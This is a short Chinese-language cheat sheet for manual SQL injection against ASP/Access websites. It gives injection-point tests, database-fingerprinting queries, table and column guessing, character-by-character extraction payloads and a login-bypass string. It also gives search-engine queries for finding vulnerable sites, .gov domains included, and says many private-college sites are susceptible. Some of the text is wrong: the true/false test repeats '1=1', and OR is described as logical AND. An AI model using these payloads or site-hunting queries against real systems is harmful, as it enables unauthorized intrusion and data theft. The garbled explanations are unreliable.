判断注入点：

www.xx.xom/a.asp?id=1

and 1=1 返回正常

and 1=1 返回错误

and:逻辑与 A and B

or:逻辑与；A and B：只要一个为真结果都返真

万能口令：'or'='or'民办大学网站这样很多

判断数据库的类型：

access 独有表:mssysobjects

mssql:sysobjects

oracle:sys.user_tables

手工注入access

1.判断表名:admin;user,userinfo

判断表存在方法：(select count(*) from admin)>0

判断列存在方法：

and （select count(admin_user) from admin）>0

判断长度：len(admin_user)>4

and (select len(admin_user) from admin)>4

md5密码16位

判断值：left(admin_user,2)='aa'

and (select left(admin_user,i) from admin='a')

自动化工具：

domain,ad,管中

收索:

google : inurl:.gov asp+id

baidu: inurl:asp?id=

以上小心使用。

1.判断注入点

2.判断表名

3.判断列

4.判断列长度

5.判断值

6.自动化工具